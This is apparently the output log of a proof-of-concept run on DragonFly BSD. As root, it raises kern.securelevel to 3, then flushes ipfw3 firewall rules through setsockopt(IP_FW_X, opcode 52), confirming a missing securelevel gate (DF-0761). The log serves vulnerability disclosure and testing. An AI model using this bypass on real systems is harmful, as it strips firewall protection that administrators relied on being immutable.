=== [0] environment ===
DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026     root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC  x86_64
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest), 90(nvmm)
kern.securelevel: -1
=== [1] load ipfw3 module ===
net.filters_default_to_accept: 0 -> 1
kldload ipfw3 OK
 4    1 0xffffffff82600000    49000 ipfw3.ko
=== [2] seed a rule so FLUSH is meaningful (via the IP_FW_X path) ===
ipfw3: bad command `ip'
ipfw3 add rc=64
65535 10 756 allow
=== [3] raise kern.securelevel to 3 (network-immutable gate) ===
kern.securelevel: -1 -> 3
kern.securelevel: 3
=== [4] attempt IP_FW_X FLUSH at securelevel=3 (the bypass probe) ===
[env] kern.securelevel = 3
[sanity-GET] setsockopt(IP_FW_X, opcode=54) -> rc=0 errno=0 (OK)
[probe] securelevel>=3 active; ipfw2 path returns EPERM; ipfw3 path must ALSO return EPERM if the gate is present.
[bypass-FLUSH] setsockopt(IP_FW_X, opcode=52) -> rc=0 errno=0 (OK)

=== RESULT: BYPASS CONFIRMED ===
setsockopt(IP_FW_X, FLUSH) succeeded at securelevel=3 -> ipfw3 securelevel>=3 gate is MISSING (DF-0761 reproduced)
df0761 exit code: 0
=== run.sh done ===